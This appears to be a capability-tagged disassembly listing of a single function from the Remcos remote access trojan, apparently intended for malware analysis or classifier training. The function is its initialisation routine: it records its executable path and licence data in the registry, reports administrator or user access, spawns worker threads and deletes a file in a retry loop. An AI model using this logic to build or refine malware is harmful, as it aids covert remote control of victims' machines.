Function at 0x40e913
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x472d40], eax
push ebx
push esi
push edi
call fcn.0041ca9e
push 0x104
push 0x472b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040f311
sub esp, 0x18
mov ecx, esp
push 0x475368
call fcn.004020f6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [esp + 0x60]
call fcn.0041bd69
add esp, 0x30
push eax
call fcn.0040fa65
lea ecx, [esp + 0x30]
call fcn.00401e8d
push 0x467378
push dword [ebp + 0x10]
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
jne 0x40e9e1
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040fb01
push 0x34
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.00410e85
lea ecx, [esp + 0x60]
call fcn.0040fab2
lea ecx, [esp + 0x60]
call fcn.0040f2fe
xor esi, esi
inc esi
jmp 0x40ee40
push 3
pop ebx
mov esi, 0x4750e4
push ebx
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x4660bc
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b32]
call fcn.00401e65
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00406383
pop ecx
push eax
mov ecx, 0x4752f0
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea ecx, [esp + 0x14]
call fcn.00401fd8
push 0xe
mov ecx, esi
call fcn.00401e65
push eax
mov ecx, 0x475320
call fcn.00401fc0
push 0x46739c
mov ecx, 0x475380
call fcn.00405aa6
push edi
push 0x32
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472d4b]
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
cmp byte [eax], 0
setne byte [0x472d60]
cmp byte [0x472d4b], 0
je 0x40eafc
push 0x4673a0
mov edx, 0x475320
lea ecx, [esp + 0x18]
call fcn.00406c1e
pop ecx
push eax
mov ecx, 0x475418
call fcn.00401fe2
lea ecx, [esp + 0x14]
call fcn.00401fd8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x4673a4
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.00413497
pop ecx
pop ecx
test al, al
jne 0x40f29d
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00401e65
mov edx, 0x46611c
mov ecx, eax
call fcn.0040b90b
test al, al
je 0x40eb51
lea eax, [esp + 0x10]
mov ecx, 0x4752f0
push eax
push 0x4673a8
call fcn.00401fab
mov edx, eax
call fcn.00413497
pop ecx
pop ecx
test al, al
je 0x40eb51
push 0x4673a8
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004138f7
pop ecx
call fcn.0040cfb7
test eax, eax
jne 0x40eb61
push 2
jmp 0x40ee3f
mov eax, dword [0x474aec]
test eax, eax
je 0x40eb6c
call eax
call fcn.0041b211
mov eax, dword [0x474af8]
test eax, eax
je 0x40eb81
call eax
mov dword [0x4719d0], eax
cmp dword [esp + 0x10], edi
jne 0x40ebc4
call fcn.00407716
test eax, eax
je 0x40eb9a
call fcn.00407738
call fcn.00407260
push 0x2e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ebc4
cmp dword [0x474af8], edi
je 0x40ebc4
cmp dword [0x4719d0], edi
jne 0x40ebc4
call fcn.00407260
push 0x27
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ebde
call fcn.00407755
push 0xe
mov ecx, esi
call fcn.00401e65
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0041bbac
push eax
mov ecx, 0x4752c0
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push 4
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b33]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b30]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b31]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ecce
push 0x30
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043ba16
pop ecx
test eax, eax
je 0x40ecce
push 9
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x30
mov ecx, 0x4750e4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040d982
pop ecx
push eax
mov ecx, 0x475308
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov esi, 0x4750e4
cmp dword [esp + 0x10], edi
jne 0x40ee54
cmp byte [0x472b32], 0
je 0x40ed5d
push 0x1e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x4750e4
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x30
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov cl, byte [esi]
mov edx, eax
call fcn.0040cd47
add esp, 0xc
jmp 0x40ed6c
push 0x472b38
mov ecx, 0x4752d8
call fcn.00409057
mov ecx, 0x4752d8
call fcn.0040247c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.004346e6
mov esi, eax
pop ecx
test esi, esi
je 0x40ed9f
push ebx
push edi
push esi
call fcn.00436dd0
add esp, 0xc
jmp 0x40eda1
mov esi, edi
mov ecx, 0x4752d8
call fcn.00401f04
push eax
push esi
call fcn.0043f749
pop ecx
mov ebx, 0x475338
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
mov ecx, 0x4752d8
call fcn.0040247c
mov ecx, 0x4752f0
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401fab
mov edx, eax
call fcn.00413895
push esi
call fcn.004346ef
add esp, 0x1c
mov esi, 0x4750e4
mov ecx, esi
push 0xd
call fcn.00401e65
mov edx, 0x46611c
mov ecx, eax
call fcn.0040b90b
test al, al
je 0x40eeb9
push 0xd
mov ecx, esi
call fcn.00401e65
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041bbac
call fcn.0040f3c2
add esp, 0x18
cmp al, 1
jne 0x40eeb9
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00436dd0
add esp, 0xc
mov ebx, 0x475338
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x4752f0
push eax
push str.exepath
call fcn.00401fab
mov edx, eax
call fcn.00413646
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x4752d8
push eax
call fcn.00409057
mov esi, 0x4750e4
push 1
push 0x34
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402093
push str.licence
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136bd
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b9ec
mov byte [0x472d48], al
pop ecx
cmp al, 2
jne 0x40ef2a
mov cl, 1
call fcn.0041cce9
push edi
push edi
push edi
push 0x41d3ab
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40ef38
cmp al, 1
jne 0x40ef32
xor cl, cl
jmp 0x40ef11
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
mov ecx, esi
push 0xb
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bl, bl
mov esi, eax
mov ebx, 0x4750e4
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b9ec
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x31
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0xf
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x4750f0
call fcn.00409de4
push 0x14
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f04f
push 2
pop eax
push eax
call fcn.00434438
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x4750e4
mov byte [esi], bl
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x419f02
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40f051
xor ebx, ebx
mov esi, 0x4750e4
push 0x16
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f0a7
push 2
pop eax
push eax
call fcn.00434438
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x4750e4
mov byte [esi], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x419f02
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x4750e4
push 0x23
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f11a
push 0x25
mov ecx, esi
mov byte [0x472a85], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x26
mov ecx, 0x4750e4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040d936
pop ecx
push eax
mov ecx, 0x474d64
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push ebx
push ebx
push ebx
push 0x401be9
push ebx
push ebx
call edi
mov esi, 0x4750e4
push 0x2b
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f168
push 0x2c
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x2d
mov ecx, 0x4750e4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b9ec
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040c0b0
lea ecx, [esp + 0x14]
call fcn.0041b55b
push eax
mov ecx, 0x475350
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov eax, dword [0x474af0]
test eax, eax
je 0x40f191
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40f6f5
push ebx
push ebx
call edi
cmp byte [0x472d4b], 0
je 0x40f1b2
push ebx
push ebx
push ebx
push fcn.00412045
push ebx
push ebx
call edi
cmp byte [0x472d60], 0
je 0x40f1c7
push ebx
push ebx
push ebx
push 0x412629
push ebx
push ebx
call edi
mov eax, dword [0x4719d0]
sub eax, ebx
je 0x40f1dc
sub eax, 1
jne 0x40f21a
push str.Administrator
jmp 0x40f1e1
push str.User
lea ecx, [esp + 0x18]
call fcn.00402093
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401fd8
mov edi, 0x4752f0
push 0x4673f8
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.0041344d
pop ecx
test al, al
je 0x40f2f3
push 0x466f6c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041bbac
mov ecx, eax
call fcn.00401f04
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.00413569
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f04
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40f294
cmp ebx, 0xa
jge 0x40f2bd
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
call esi
test eax, eax
je 0x40f27d
jmp 0x40f2bd
push 0x4673a4
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004138f7
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.004123c3
push 0x466f6c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041bbac
mov ecx, eax
call fcn.00401f04
mov edx, eax
mov ecx, closesocket
call fcn.00413971
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f09
call fcn.0040dc90
call fcn.00414e78
int3